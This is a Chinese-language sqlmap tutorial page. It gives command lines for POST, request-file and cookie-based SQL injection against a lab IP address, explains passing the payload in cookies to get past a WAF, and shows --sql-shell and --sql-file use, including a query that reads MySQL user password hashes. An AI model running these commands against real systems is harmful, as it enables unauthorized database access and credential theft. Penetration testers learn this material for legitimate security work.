sqlmap

-v

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用 -v 参数。
共有七个等级,默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面

指定数据库类型
  • 因为已经知道数据库名为微软的 sql server,为了加快检测速度,指定数据库参数 --dbms=mssql
post 注入:
python sqlmap.py -u “http://172.16.12.2/loginAuth.php" --method POST --data "id=1&passwd=123456" -p id
抓包注入:
python sqlmap.py -r c:/post.txt
cookie注入:

cookie注入原理:

php:使用超全局变 $_GET,$_POST来接受参数。 
asp:使用 Request.QueryString (GET)或 Request.Form (POST)来接收页面提交参数值。

有些程序员 较懒,直接这么写:

$id = $_REQUEST['id'];

这时候PHP不知道,从get 还是post方式上接收参数 ,它就会一个一个去试!,它是先取GET中的数据,没有再取POST中的数据,还会去取Cookies中的数据。 程序员还会写waf,可是他的waf可能是检测get和post的数据 但是没有检测cookie。 因此,我们只需要把数据放在cookie,就可以绕过waf的检测而且服务也可以正常接收。 这就是中转注入的原理。

默认情况下SQLmap只支持GET/POST参数的注入测试,但是当使用--level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer。 那么这就很简单了,我们直接在原有的基础上面加上--level 2 即可验证cookie。

python sqlmap.py -u "http://172.16.12.2/test.php" --cookie "id=1" --level 2
sqlmap执行指定的sql语句:

--sql-query=QUERY

python sqlmap.py -u "http://172.16.12.2/inject.php?id=1" --sql-query="select @@version"
查询数据库版本
sqlmap交互式的sql命令

--sql-shell

python sqlmap.py -u "http://172.16.12.2/inject.php?id=1" --sql-shell

select @@datadir是查询当前数据库文件存放路径的语句

sqlmap执行文件中的sql语句

--sql-file=sql文件
在c盘下新建1.sql内容如下:

select version(); //查询数据库版本
select @@basedir;  //查询数据库存放路径
select password from mysql.user;  //查询MySQL用户密码

sqlmap中执行

python sqlmap.py -u "http://172.16.12.2/inject.php?id=1" --sql-file=c:/1.sql


  • --batch --risk 3

--batch不用按“yes", --risk 3 所有payload都会执行

你可能感兴趣的:(sqlmap)